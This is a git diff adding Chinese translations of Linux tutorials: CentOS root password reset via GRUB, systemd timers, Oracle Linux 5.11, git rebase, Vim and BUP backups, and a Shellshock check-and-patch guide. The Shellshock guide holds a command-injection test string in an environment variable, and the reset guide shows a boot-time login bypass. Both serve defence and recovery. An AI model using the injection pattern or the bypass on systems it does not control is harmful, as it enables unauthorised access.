在启动grub菜单,选择编辑选项启动 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/09/Selection_003.png) + +2 - 按键盘e键,来进入编辑界面 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/09/Selection_005.png) + +3 - 找到Linux 16的那一行,将ro改为rw init=/sysroot/bin/ + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/09/Selection_006.png) + +4 - 现在按下 Control+x ,使用单用户模式启动 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/09/Selection_007.png) + +5 - 现在,可以使用下面的命令访问系统 + + chroot /sysroot + +6 - 重置密码 + + passwd root + +7 - 更新系统信息 + + touch /.autorelabel + +8 - 退出chroot + + exit + +9 - 重启你的系统 + + reboot + +就是这样! + +--- + +via: http://www.unixmen.com/reset-root-password-centos-7/ + +作者:M.el Khamlichi +译者:[su-kaiyao](https://github.com/su-kaiyao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201410/20140928 How to Use Systemd Timers.md b/published/201410/20140928 How to Use Systemd Timers.md new file mode 100644 index 0000000000..df9cc2eb22 --- /dev/null +++ b/published/201410/20140928 How to Use Systemd Timers.md @@ -0,0 +1,111 @@ +如何使用 systemd 中的定时器 +================================================================================ +我最近在写一些执行备份工作的脚本,我决定使用[systemd timers][1]而不是对我而已更熟悉的[cron jobs][2]来管理它们。 + +在我使用时,出现了很多问题需要我去各个地方找资料,这个过程非常麻烦。因此,我想要把我目前所做的记录下来,方便自己的记忆,也方便读者不必像我这样,满世界的找资料了。 + +在我下面提到的步骤中有其他的选择,但是这里是最简单的方法。在此之前,请查看**systemd.service**, **systemd.timer**,和**systemd.target**的帮助页面(man),学习你能用它们做些什么。 + +### 运行一个简单的脚本 ### + +假设你有一个脚本叫:**/usr/local/bin/myscript** ,你想要每隔一小时就运行一次。 + +#### Service 文件 #### + +第一步,创建一个service文件,根据你Linux的发行版本放到相应的系统目录(在Arch中,这个目录是**/etc/systemd/system/** 或 **/usr/lib/systemd/system**) + +myscript.service + + [Unit] + Description=MyScript + + [Service] + Type=simple + ExecStart=/usr/local/bin/myscript + +注意,务必将**Type**变量的值设置为"simple"而不是"oneshot"。使用"oneshot"使得脚本只在第一次运行,之后系统会认为你不想再次运行它,从而关掉我们接下去创建的定时器(Timer)。 + +#### Timer 文件 #### + +第二步,创建一个timer文件,把它放在第一步中service文件放置的目录。 + +myscript.timer + + [Unit] + Description=Runs myscript every hour + + [Timer] + # 首次运行要在启动后10分钟后 + OnBootSec=10min + # 每次运行间隔时间 + OnUnitActiveSec=1h + Unit=myscript.service + + [Install] + WantedBy=multi-user.target + +#### 授权 / 运行 #### + +授权并运行的是timer文件,而不是service文件。 + + # 以 root 身份启动定时器 + systemctl start myscript.timer + # 在系统引导起来后就启用该定时器 + systemctl enable myscript.timer + +### 在同一个Timer上运行多个脚本 ### + +现在我们假设你在相同时间想要运行多个脚本。这种情况,**你需要在上面的文件中做适当的修改**。 + +#### Service 文件 #### + +像我[之前说过的][3]那样创建你的service文件来运行你的脚本,但是在每个service 文件最后都要包含下面的内容: + + [Install] + WantedBy=mytimer.target + +如果在你的service 文件中有一些依赖顺序,确保你使用**Description**字段中的值具体指定**After=something.service**和**Before=whatever.service**中的参数。 + +另外的一种选择是(或许更加简单),创建一个包装脚本来使用正确的顺序来运行命令,并在你的service文件中使用这个脚本。 + +#### Timer 文件 #### + +你只需要一个timer文件,创建**mytimer.timer**,像我在[上面指出的](4)。 + +#### target 文件 #### + +你可以创建一个以上所有的脚本依赖的target文件。 + +mytimer.target + + [Unit] + Description=Mytimer + # Lots more stuff could go here, but it's situational. + # Look at systemd.unit man page. + +#### 授权 / 启动 #### + +你需要将所有的service文件和timer文件授权。 + + systemctl enable script1.service + systemctl enable script2.service + ... + systemctl enable mytimer.timer + systemctl start mytimer.service + +Good luck. + +-------------------------------------------------------------------------------- + +via: http://jason.the-graham.com/2013/03/06/how-to-use-systemd-timers/ + +作者:Jason Graham +译者:[johnhoow](https://github.com/johnhoow) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://fedoraproject.org/wiki/User:Johannbg/QA/Systemd/Systemd.timer +[2]:https://en.wikipedia.org/wiki/Cron +[3]:http://jason.the-graham.com/2013/03/06/how-to-use-systemd-timers/#service-file +[4]:http://jason.the-graham.com/2013/03/06/how-to-use-systemd-timers/#timer-file-1 diff --git a/published/201410/20140928 Oracle Linux 5.11 Features Updated Unbreakable Linux Kernel.md b/published/201410/20140928 Oracle Linux 5.11 Features Updated Unbreakable Linux Kernel.md new file mode 100644 index 0000000000..1debab469b --- /dev/null +++ b/published/201410/20140928 Oracle Linux 5.11 Features Updated Unbreakable Linux Kernel.md @@ -0,0 +1,51 @@ +Oracle Linux 5.11更新了其Unbreakable Linux内核 +================================================================================ +> 此版本更新了很多软件包 + +![This is the last release for this branch](http://i1-news.softpedia-static.com/images/news2/Oracle-Linux-5-11-Features-Updated-Unbreakable-Linux-Kernel-460129-2.jpg) + +这是这个分支的最后一个版本更新(随同 RHEL 5.11的落幕,CentOS 和 Oracle Linux 的5.x 系列也纷纷释出该系列的最后版本)。 + +>**甲骨文公司宣布,Oracle Linux5.11版已提供下载,但是这是企业版,需要用户注册才能下载。** + +这个新的Oracle Linux是这个系列的最后一次更新。该系统基于Red Hat和该公司最近推送的RHEL 5X分支更新,这意味着这也是Oracle此产品线的最后一次更新。 + +Oracle Linux还带来了一系列有趣的功能,就像一个名为Ksplice的零宕机内核更新,它最初是针对openSUSE,包括Oracle数据库和Oracle应用软件开发的,它们在基于x86的Oracle系统中使用。 + +### Oracle Linux有哪些特别的 ### + +尽管Oracle Linux基于红帽,它的开发者曾经举出了很多你不应该使用RHEL的原因。理由有很多,但最主要的是,任何人都可以下载Oracle Linux(注册后),而RHEL实际上限制了非付费会员下载。 + +开发者在其网站上说:“为企业应用和系统提供先进的可扩展性和可靠性,Oracle Linux提供了极高的性能,并且在采用x86架构的Oracle工程系统中使用。Oracle Linux是免费使用,免费派发,免费更新,并可轻松下载。它是唯一带来生产中零宕机补丁Oracle Ksplice支持的Linux发行版,允许客户无需重启而部署安全或者其他更新,并且同时提供诊断功能来调试生产系统中的内核问题。” + +Oracle Linux其中一个最有趣且独一无二的功能是其Unbreakable Kernel(坚不可摧的内核)。这是它的开发者实际使用的名称。它基于来自3.0.36分支的旧Linux内核。用户还可以使用红帽兼容内核(内核2.6.18-398.el5),这在发行版中默认提供。 + +此外,Oracle Linux Release 5.11企业版内核提供了对大量硬件和设备的支持,但这个最新的更新带来了更好的支持。 + +您可以查看Oracle Linux 5.11全部[发布通告][1],这可能需要花费一些时间去读。 + +你也可以从下面下载Oracle Linux 5.11: + +- [Oracle Enterprise Linux 6.5 (ISO) 64-bit][2] +- [Oracle Enterprise Linux 6.5 (ISO) 32-bit][3] +- [Oracle Enterprise Linux 7.0 (ISO) 64-bit][4] +- [Oracle Enterprise Linux 5.11 (ISO) 64-bit][5] +- [Oracle Enterprise Linux 5.11 (ISO) 32-bit][6] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Oracle-Linux-5-11-Features-Updated-Unbreakable-Linux-Kernel-460129.shtml + +作者:[Silviu Stahie][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie +[1]:https://oss.oracle.com/ol5/docs/RELEASE-NOTES-U11-en.html#Kernel_and_Driver_Updates +[2]:http://mirrors.dotsrc.org/oracle-linux/OL6/U5/i386/OracleLinux-R6-U5-Server-i386-dvd.iso +[3]:http://mirrors.dotsrc.org/oracle-linux/OL6/U5/x86_64/OracleLinux-R6-U5-Server-x86_64-dvd.iso +[4]:https://edelivery.oracle.com/linux/ +[5]:http://ftp5.gwdg.de/pub/linux/oracle/EL5/U11/x86_64/Enterprise-R5-U11-Server-x86_64-dvd.iso +[6]:http://ftp5.gwdg.de/pub/linux/oracle/EL5/U11/i386/Enterprise-R5-U11-Server-i386-dvd.iso \ No newline at end of file diff --git a/published/201410/20140929 Git Rebase Tutorial--Going Back in Time with Git Rebase.md b/published/201410/20140929 Git Rebase Tutorial--Going Back in Time with Git Rebase.md new file mode 100644 index 0000000000..700f9a8f99 --- /dev/null +++ b/published/201410/20140929 Git Rebase Tutorial--Going Back in Time with Git Rebase.md @@ -0,0 +1,127 @@ +Git Rebase教程: 用Git Rebase让时光倒流 +================================================================================ + +### 教程: Git Rebase ### + +想象一下你正在开发一个激进的新功能。这将是很灿烂的但它需要一段时间。您这几天也许是几个星期一直在做这个。 + +你的功能分支已经超前master有6个提交了。你是一个优秀的开发人员并做了有意义的语义提交。但有一件事情:你开始慢慢意识到,这个疯狂的东西仍需要更多的时间才能真的做好准备被合并回主分支。 + + m1-m2-m3-m4 (master) + \ + f1-f2-f3-f4-f5-f6(feature) + +你也知道的是,一些地方实际上是交叉不大的新功能。它们可以更早地合并到主分支。不幸的是,你想将部分合并到主分支的内容存在于你六个提交中的某个地方。更糟糕的是,它也包含了依赖于你的功能分支的之前的提交。有人可能会说,你应该在第一处地方做两次提交,但没有人是完美的。 + + m1-m2-m3-m4 (master) + \ + f1-f2-f3-f4-f5-f6(feature) + ^ + | + mixed commit + +在你准备提交的时间,你没有预见到,你可能要逐步把该功能合并入主分支。哎呀!你不会想到这件事会有这么久。 + +你需要的是一种方法可以回溯历史,把它并分成两次提交,这样就可以把代码都安全地分离出来,并可以移植到master分支。 + +用图说话,就是我们需要这样。 + + m1-m2-m3-m4 (master) + \ + f1-f2-f3a-f3b-f4-f5-f6(feature) + +在将工作分成两个提交后,我们就可以cherry-pick出前面的部分到主分支了。 + +原来Git自带了一个功能强大的命令git rebase -i ,它可以让我们这样做。它可以让我们改变历史。改变历史可能会产生问题,作为一个经验,应尽快避免历史与他人共享。不过在我们的例子中,我们只是改变我们的本地功能分支的历史。没有人会受到伤害。就这么做了! + +好吧,让我们来仔细看看f3提交究竟修改了什么。原来我们共修改了两个文件:userService.js和wishlistService.js。比方说,userService.js的更改可以直接合入主分支而wishlistService.js不能。因为wishlistService.js甚至不存在在主分支里面。它是f1提交中引入的。 + +>>专家提示:即使是在一个文件中更改,git也可以搞定。但这篇博客中我们先简化情况。 + +我们已经建立了一个[公众演示仓库][3],我们将使用这个来练习。为了便于跟踪,每一个提交信息的前缀是在上面的图表中使用的假的SHA。以下是git在分开提交f3时的分支图。 + +![](https://s3.amazonaws.com/codementor_content/2014-Sep-week3/git1.png) + +现在,我们要做的第一件事就是使用git的checkout功能checkout出我们的功能分支。用git rebase -i master开始做rebase。 + +现在接下来git会用所配置的编辑器打开(默认为Vim)一个临时文件。 + +![](https://s3.amazonaws.com/codementor_content/2014-Sep-week3/git2.png) + +该文件为您提供一些rebase选择,它带有一个提示(蓝色文字)。对于每一个提交,我们可以选择的动作有pick、rwork、edit、squash、fixup和exec。每一个动作也可以通过它的缩写形式p、r、e、s、f和e引用。描述每一个选项超出了本文范畴,所以让我们专注于我们的具体任务。 + +我们要为f3提交选择edit选项,因此我们把内容改变成这样。 + +![](https://s3.amazonaws.com/codementor_content/2014-Sep-week3/git3.png) + +现在我们保存文件(在Vim中是按下后输入:wq,最后是按下回车)。接下来我们注意到git在编辑选项中选择的提交处停止了rebase。 + +![](https://s3.amazonaws.com/codementor_content/2014-Sep-week3/git4.jpg) + +这意味这git开始将f1、f2、f3生效仿佛它就是常规的rebase,但是在f3生效**之后**停止。事实上,我们可以看一眼停止的地方的日志就可以证明这一点。 + +![](https://s3.amazonaws.com/codementor_content/2014-Sep-week3/git5.png) + +要将f3分成两个提交,我们所要做的是重置git的指针到先前的提交(f2)而保持工作目录和现在一样。这就是git reset在混合模式在做的。由于混合模式是git reset的默认模式,我们可以直接用git reset head~1。就这么做并在运行后用git status看下发生了什么。 + +![](https://s3.amazonaws.com/codementor_content/2014-Sep-week3/git6.png) + +git status告诉我们userService.js和wishlistService.js被修改了。如果我们运行 git diff 我们就可以看见在f3里面确切地做了哪些更改。 + +![](https://s3.amazonaws.com/codementor_content/2014-Sep-week3/git7.png) + +如果我们看一眼日志我们会发现f3已经消失了。 + +![](https://s3.amazonaws.com/codementor_content/2014-Sep-week3/git8.png) + +现在我们有了准备提交的先前的f3提交,而原先的f3提交已经消失了。记住虽然我们仍旧在rebase的中间过程。我们的f4、f5、f6提交还没有缺失,它们会在接下来回来。 + +让我们创建两个新的提交:首先让我们为可以提交到主分支的userService.js创建一个提交。运行git add userService.js 接着运行 git commit -m "f3a: add updateUser method"。 + +太棒了!让我们为wishlistService.js的改变创建另外一个提交。运行git add wishlistService.js,接着运行git commit -m "f3b: add addItems method". + +让我们在看一眼日志。 + +![](https://s3.amazonaws.com/codementor_content/2014-Sep-week3/git9.png) + +这就是我们想要的,除了f4、f5、f6仍旧缺失。这是因为我们仍在rebase交互的中间,我们需要告诉git继续rebase。用下面的命令继续:git rebase --continue。 + +让我们再次检查一下日志。 + +![](https://s3.amazonaws.com/codementor_content/2014-Sep-week3/git10.png) + +就是这样。我们现在已经得到我们想要的历史了。先前的f3提交现在已经被分割成两个提交f3a和f3b。剩下的最后一件事是cherry-pick出f3a提交到主分支上。 + +为了完成最后一步,我们首先切换到主分支。我们用git checkout master。现在我们就可以用cherry-pick命令来拾取f3a commit了。本例中我们可以用它的SHA值bd47ee1来引用它。 + +![](https://s3.amazonaws.com/codementor_content/2014-Sep-week3/git11.png) + +现在f3a这个提交就在主分支的最上面了。这就是我们需要的! + +![](https://s3.amazonaws.com/codementor_content/2014-Sep-week3/git12.png) + +这篇文章的长度看起来需要花费很大的功夫,但实际上对于一个git高级用户而言这只是一会会。 + +>注:Christoph目前正在与Pascal Precht写一本关于[Git rebase][4]的书,您可以在leanpub订阅它并在准备出版时获得通知。 + +![](https://www.gravatar.com/avatar/7c148ace0d63306091cc79ed9d9e77b4?d=mm&s=200) + +本文作者 Christoph Burgdorf自10岁时就是一名程序员,他是HannoverJS Meetup网站的创始人,并且一直活跃在AngularJS社区。他也是非常了解gti的内内外外,在那里他举办一个[thoughtram][1]的工作室来帮助初学者掌握该技术。 + +本的教程最初发表在他的[blog][2]。 + +-------------------------------------------------------------------------------- + +via: https://www.codementor.io/git-tutorial/git-rebase-split-old-commit-master + +作者:[cburgdorf][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://www.codementor.io/cburgdorf +[1]:http://thoughtram.io/ +[2]:http://blog.thoughtram.io/posts/going-back-in-time-to-split-older-commits/ +[3]:https://github.com/thoughtram/interactive-rebase-demo +[4]:https://leanpub.com/rebase-the-complete-guide-on-rebasing-in-git \ No newline at end of file diff --git a/published/201410/20140929 Learning Vim in 2014--Working with Files.md b/published/201410/20140929 Learning Vim in 2014--Working with Files.md new file mode 100644 index 0000000000..ad7278ddad --- /dev/null +++ b/published/201410/20140929 Learning Vim in 2014--Working with Files.md @@ -0,0 +1,91 @@ +学习VIM之2014 +================================================================================ + +作为一名开发者,你不应该把时间花费在考虑如何去找你所要编辑的代码上。在我转移到完全使用 VIM 的过程中,感到最痛苦的就是它处理文件的方式。从之前主要使用 Eclipse 和 Sublime Text 过渡到 VIM,它没有捆绑一个常驻的文件系统查看器对我造成了不少阻碍,而其内建的打开和切换文件的方式总是让我泪流满面。 + +就这一点而言,我非常欣赏VIM文件管理功能的深度。在工作环境上我已经装配了这些工具,甚至比起那些视觉编辑器好很多。因为这个是纯键盘操作,可以让我更快地在代码里面穿梭。搭建环境需要花费一些时间,安装几个插件。首先第一步是我明白vim内建功能只是处理文件的一种选择。在这篇文章里我会带你去认识vim文件管理功能与使用更高级的插件。 + +### 基础篇:打开新文件 ### + +学习vim其中最大的一个障碍是缺少可视提示,不像现在的GUI图形编辑器,当你在终端打开一个新的vim是没有明显的提示去提醒你去走什么,所有事情都是靠键盘输入,同时也没有更多更好的界面交互,vim新手需要习惯如何靠自己去查找一些基本的操作指令。好吧,让我开始学习基础吧。 + +创建新文件的命令是**:e 或:e** 打开一个新缓冲区保存文件内容。如果文件不存在它会开辟一个缓冲区去保存与修改你指定文件。缓冲区是vim是术语,意为"保存文本块到内存"。文本是否能够与存在的文件关联,要看是否每个你打开的文件都对应一个缓冲区。 + +打开文件与修改文件之后,你可以使用**:w**命令来保存在缓冲区的文件内容到文件里面,如果缓冲区不能关联你的文件或者你想保存到另外一个地方,你需要使用**:w **来保存指定地方。 + +这些是vim处理文件的基本知识,很多的开发者都掌握了这些命令,这些技巧你都需要掌握。vim提供了很多技巧让人去深挖。 + +### 缓冲区管理 ### + +基础掌握了,就让我来说更多关于缓冲区的东西,vim处理打开文件与其他编辑器有一点不同,打开的文件不会作为一个标签留在一个可见的地方,而是只允许你同时只有一个文件在缓冲区打开,vim允许你打开多个缓存区。一些会显示出来,另外一些就不会,你需要用**:ls**来查看已经打开的缓存,这个命令会显示每个打开的缓存区,同时会有它们的序号,你可以通过这些序号使用**:b **来切换或者使用循序移动命令 **:bnext** 和 **:bprevious** 也可以使用它们的缩写**:bn**和**:bp**。 + +这些命令是vim管理文件缓冲区的一个基础,我发现他们不会按照我的想法映射出来。我不想关心缓冲区的顺序,我只想按照我的想法去到那个文件或者想在当前这个文件.因此必需了解vim更深入的缓存模式,我不是推荐你必须用内部命令来作为主要的文件管理方案。但这些的确是很强大可行的选择。 + +![](http://benmccormick.org/content/images/2014/Jul/skitch.jpeg) + +### 分屏 ### + +分屏是vim其中一个最好用的管理文件功能,在vim中你可以将当前窗口同时分开为2个窗口,可以按照你喜欢的配置去重设大小和分配,个别时候,我可以在同时打开6文件每个文件,每个都拥有不同大小。 + +你可以通过命令**:sp **来新建水平分割窗口或者 **:vs **垂直分割窗口。你可以使用这些关键命令去调整你想要的窗口大小,老实说,我喜欢用鼠标处理vim任务,因为鼠标能够给我更加准确的两列的宽度而不需要猜大概的宽度。 + +创建新的分屏后,你需要使用**ctrl-w [h|j|k|l]**来向后向前切换。这个有一点笨拙,但这个却是很重要、很普遍、很容易、很高效的操作。如果你经常使用分屏,我建议你去.vimrc使用以下代码去设置别名为**ctrl-h** **ctrl-j** 等等。 + + nnoremap "Ctrl-j to move down a split + nnoremap "Ctrl-k to move up a split + nnoremap "Ctrl-l to move right a split + nnoremap "Ctrl-h to move left a split + +### 跳转表 ### + +分屏是解决多个关联文件同时查看问题,但我们仍然不能解决已打开文件与隐藏文件之间快速移动问题。这时跳转表是一个能够解决的工具。 + +跳转表是众多插件中看起来奇怪而且很少使用的一个。vim能够追踪每一步命令还有切换你正在修改的文件。每次从一个分屏窗口跳到另外一个,vim都会添加记录到跳转表里面。它记录你去过的地方,这样就不需要担心之前的文件在哪里,你可以使用快捷键去快速追溯你的踪迹。**Ctrl-o**允许你返回你上一次地方。重复操作几次就能够返回到你最先编写的代码段地方。你可以使用**ctrl-i**来向前返回。当你在调试多个文件或在两个文件之间切换时,它能够发挥极大的快速移动功能。 + +### 插件 ### + +如果你想vim像Sublime Text 或者Atom一样,我就让你认清一下,这里有很好的机会让你看清一些难懂,可怕和低效的事情。例如大家会发出"当Sublime有了模糊查找功能,为什么我一定要输入全路径才能够打开文件" "没有侧边栏显示目录树我怎样查看项目结构" 等等。但vim有了解决方案。这些方案不需要破坏vim的核心。我只需要经常修改vim配置与添加一些最新的插件,这里有3个有用的插件可以让你像Sublime管理文件 + +- [CtrlP][1] 是一个跟Sublime的"Go to Anything"栏一样模糊查找文件.它快如闪电并且非常可配置性。我使用它主要用来打开文件。我只需知道部分的文件名字不需要记住整个项目结构就可以查找了。 + +- [The NERDTree][2] 这个一个文件管理夹插件,它重复了很多编辑器都有的侧边文件管理夹功能。我实际上很少用它,对于我而言模糊查找会更加快。对于你接手一个项目,尝试学习项目结构与了解什么可以用是非常方便的,NERDTree是可以自己定制配置,安装它能够代替vim内置的目录工具。 + +- [Ack.vim][3] 是一个专为vim的代码搜索插件,它允许你跨项目搜索文本。它封装了Ack 或 Ag 这[两个极其好用的搜索工具][4],允许你在任何时候在你项目之间快速搜索跳转。 + +在vim核心与它的插件生态系统之间,vim 提供足够的工具允许你构建你想要得工作环境。文件管理是软件开发系统的最核心部分并且你值得拥有体验的权利。 + +开始时需要通过很长的时间去理解它们,然后在找到你感觉舒服的工作流程之后再开始在上面添加工具。但依然值得你去使用,你不用爆头就可以理解如何去使用,能够轻易编写你的代码。 + +### 更多插件资源 ### + +- [Seamlessly Navigate Vim & Tmux Splits][5] 这个插件需要每一个想使用它的人都要懂得使用[tmux][6],这个跟vim的splits 一样简单好用。 + +- [Using Tab Pages][7] 它是一个vim的标签功能插件,虽然它的名字用起来有一点疑惑,但它不是文件管理器。对如何在有多个工作可视区使用"tab pages" 在vim wiki 网站上有更好的概述。 + +- [Vimcasts: The edit command][8] 一般来说 Vimcasts 是大家学习vim的一个好资源。这个屏幕截图与一些内置工作流程很好地描述了之前说的文件操作方面的知识。 + + +-------------------------------------------------------------------------------- + +via: http://benmccormick.org/2014/07/07/learning-vim-in-2014-working-with-files/ + +作者:[Ben McCormick][a] +译者:[haimingfg](https://github.com/haimingfg) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://benmccormick.org/2014/07/07/learning-vim-in-2014-working-with-files/ +[1]:https://github.com/kien/ctrlp.vim +[2]:https://github.com/scrooloose/nerdtree +[3]:https://github.com/mileszs/ack.vim +[4]:http://benmccormick.org/2013/11/25/a-look-at-ack/ +[5]:http://robots.thoughtbot.com/seamlessly-navigate-vim-and-tmux-splits +[6]:http://tmux.sourceforge.net/ +[7]:http://vim.wikia.com/wiki/Using_tab_pages +[8]:http://vimcasts.org/episodes/the-edit-command/ +[9]:http://feedpress.me/benmccormick +[10]:http://eepurl.com/WFYon +[11]:http://benmccormick.org/2014/07/14/learning-vim-in-2014-configuring-vim/ +[12]:http://benmccormick.org/2014/06/30/learning-vim-in-2014-the-basics/ +[13]:http://benmccormick.org/2014/07/02/learning-vim-in-2014-vim-as-language/ diff --git a/published/201410/20140929 Using GIT to backup your website files on linux.md b/published/201410/20140929 Using GIT to backup your website files on linux.md new file mode 100644 index 0000000000..575a3c793e --- /dev/null +++ b/published/201410/20140929 Using GIT to backup your website files on linux.md @@ -0,0 +1,120 @@ +使用 GIT 备份 linux 上的网页文件 +================================================================================ +![](http://techarena51.com/wp-content/uploads/2014/09/git_logo-1024x480-580x271.png) + +BUP 并不单纯是 Git, 而是一款基于 Git 的软件. 一般情况下, 我使用 rsync 来备份我的文件, 而且迄今为止一直工作的很好. 唯一的不足就是无法把文件恢复到某个特定的时间点. 因此, 我开始寻找替代品, 结果发现了 BUP, 一款基于 git 的软件, 它将数据存储在一个仓库中, 并且有将数据恢复到特定时间点的选项. + +要使用 BUP, 你先要初始化一个空的仓库, 然后备份所有文件. 当 BUP 完成一次备份是, 它会创建一个还原点, 你可以过后还原到这里. 它还会创建所有文件的索引, 包括文件的属性和验校和. 当要进行下一个备份时, BUP 会对比文件的属性和验校和, 只保存发生变化的数据. 这样可以节省很多空间. + +### 安装 BUP (在 Centos 6 & 7 上测试通过) ### + +首先确保你已经安装了 RPMFORGE 和 EPEL 仓库 + + [techarena51@vps ~]$ sudo yum groupinstall "Development Tools" + [techarena51@vps ~]$ sudo yum install python python-devel + [techarena51@vps ~]$ sudo yum install fuse-python pyxattr pylibacl + [techarena51@vps ~]$ sudo yum install perl-Time-HiRes + [techarena51@vps ~]$ git clone git://github.com/bup/bup + [techarena51@vps ~]$ cd bup + [techarena51@vps ~]$ make + [techarena51@vps ~]$ make test + [techarena51@vps ~]$ sudo make install + +对于 debian/ubuntu 用户, 你可以使用 "apt-get build-dep bup". 要获得更多的信息, 可以查看 https://github.com/bup/bup + +在 CentOS 7 上, 当你运行 "make test" 时可能会出错, 但你可以继续运行 "make install". + +第一步时初始化一个空的仓库, 就像 git 一样. + + [techarena51@vps ~]$ bup init + +默认情况下, bup 会把仓库存储在 "~/.bup" 中, 但你可以通过设置环境变量 "export BUP_DIR=/mnt/user/bup" 来改变设置. + +然后, 创建所有文件的索引. 这个索引, 就像之前讲过的那样, 存储了一系列文件和它们的属性及 git 目标 id (sha1 哈希表). (属性包括了软链接, 权限和不可改变字节) + + bup index /path/to/file + bup save -n nameofbackup /path/to/file + + #Example + [techarena51@vps ~]$ bup index /var/www/html + Indexing: 7973, done (4398 paths/s). + bup: merging indexes (7980/7980), done. + + [techarena51@vps ~]$ bup save -n techarena51 /var/www/html + + Reading index: 28, done. + Saving: 100.00% (4/4k, 28/28 files), done. + bloom: adding 1 file (7 objects). + Receiving index from server: 1268/1268, done. + bloom: adding 1 file (7 objects). + +"BUP save" 会把所有内容分块, 然后把它们作为对象储存. "-n" 选项指定备份名. + +你可以查看备份列表和已备份文件. + + [techarena51@vps ~]$ bup ls + local-etc techarena51 test + #Check for a list of backups available for my site + [techarena51@vps ~]$ bup ls techarena51 + 2014-09-24-064416 2014-09-24-071814 latest + #Check for the files available in these backups + [techarena51@vps ~]$ bup ls techarena51/2014-09-24-064416/var/www/html + apc.php techarena51.com wp-config-sample.php wp-load.php + +在同一个服务器上备份文件从来不是一个好的选择. BUP 允许你远程备份网页文件, 但你必须保证你的 SSH 密钥和 BUP 都已经安装在远程服务器上. + + bup index path/to/dir + bup save-r remote-vps.com -n backupname path/to/dir + +### 例子: 备份 "/var/www/html" 文件夹 ### + + [techarena51@vps ~]$bup index /var/www/html + [techarena51@vps ~]$ bup save -r user@remotelinuxvps.com: -n techarena51 /var/www/html + Reading index: 28, done. + Saving: 100.00% (4/4k, 28/28 files), done. + bloom: adding 1 file (7 objects). + Receiving index from server: 1268/1268, done. + bloom: adding 1 file (7 objects). + +### 恢复备份 ### + +登入远程服务器并输入下面的命令 + + [techarena51@vps ~]$bup restore -C ./backup techarena51/latest + + #Restore an older version of the entire working dir elsewhere + [techarena51@vps ~]$bup restore -C /tmp/bup-out /testrepo/2013-09-29-195827 + #Restore one individual file from an old backup + [techarena51@vps ~]$bup restore -C /tmp/bup-out /testrepo/2013-09-29-201328/root/testbup/binfile1.bin + +唯一的缺点是你不能把文件恢复到另一个服务器, 你必须通过 SCP 或者 rsync 手动复制文件. + +通过集成的 web 服务器查看备份. + + bup web + #specific port + bup web :8181 + +你可以使用 shell 脚本来运行 bup, 并建立一个每日运行的定时任务. + + #!/bin/bash + + bup index /var/www/html + bup save -r user@remote-vps.com: -n techarena51 /var/www/html + +BUP 并不完美, 但它的确能够很好地完成任务. 我当然非常愿意看到这个项目的进一步开发, 希望以后能够增加远程恢复的功能. + +你也许喜欢阅读这篇——使用[inotify-tools][1]实时文件同步. + +-------------------------------------------------------------------------------- + +via: http://techarena51.com/index.php/using-git-backup-website-files-on-linux/ + +作者:[Leo G][a] +译者:[wangjiezhe](https://github.com/wangjiezhe) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://techarena51.com/ +[1]:http://techarena51.com/index.php/inotify-tools-example/ diff --git a/published/201410/20140930 Check If Your Linux System Is Vulnerable To Shellshock And Fix It.md b/published/201410/20140930 Check If Your Linux System Is Vulnerable To Shellshock And Fix It.md new file mode 100644 index 0000000000..c9ef13ca11 --- /dev/null +++ b/published/201410/20140930 Check If Your Linux System Is Vulnerable To Shellshock And Fix It.md @@ -0,0 +1,65 @@ +检查你的系统系统是否有“Shellshock”漏洞并修复它 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/shellshock_Linux_check.jpeg) + +快速地向你展示**如何检查你的系统是否受到Shellshock的影响**,如果有,**怎样修复你的系统免于被Bash漏洞利用**。 + +如果你正跟踪新闻,你可能已经听说过在[Bash][1]中发现了一个漏洞,这被称为**Bash Bug**或者** Shellshock**。 [红帽][2]是第一个发现这个漏洞的机构。Shellshock错误允许攻击者注入自己的代码,从而使系统开放各给种恶意软件和远程攻击。事实上,[黑客已经利用它来启动DDoS攻击][3]。 + +由于Bash在所有的类Unix系统中都有,如果这些都运行bash的特定版本,它会让所有的Linux系统都容易受到这种Shellshock错误的影响。 + +想知道如果你的Linux系统是否已经受到Shellshock影响?有一个简单的方法来检查它,这就是我们要看到的。 + +### 检查Linux系统的Shellshock漏洞 ### + +打开一个终端,在它运行以下命令: + + env x='() { :;}; echo vulnerable' bash -c 'echo hello' + +如果你的系统没有漏洞,你会看到这样的输出: + + bash: warning: x: ignoring function definition attempt + bash: error importing function definition for `x’ + hello + +如果你的系统有Shellshock漏洞,你会看到一个像这样的输出: + + vulnerable + hello + +我尝试在我的Ubuntu14.10上运行,我得到了这个: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/Shellshock_Linux_Check.jpeg) + +您还可以通过使用下面的命令查看bash的版本: + + bash --version + +如果bash的版本是3.2.51(1),你就应该更新了。 + +#### 为有Shellshock漏洞的Linux系统打补丁 #### + +如果你运行的是基于Debian的Linux操作系统,如Ubuntu、Linux Mint的等,请使用以下命令升级Bash: + + sudo apt-get update && sudo apt-get install --only-upgrade bash + +对于如Fedora,Red Hat,Cent OS等操作系统,请使用以下命令 + + yum -y update bash + 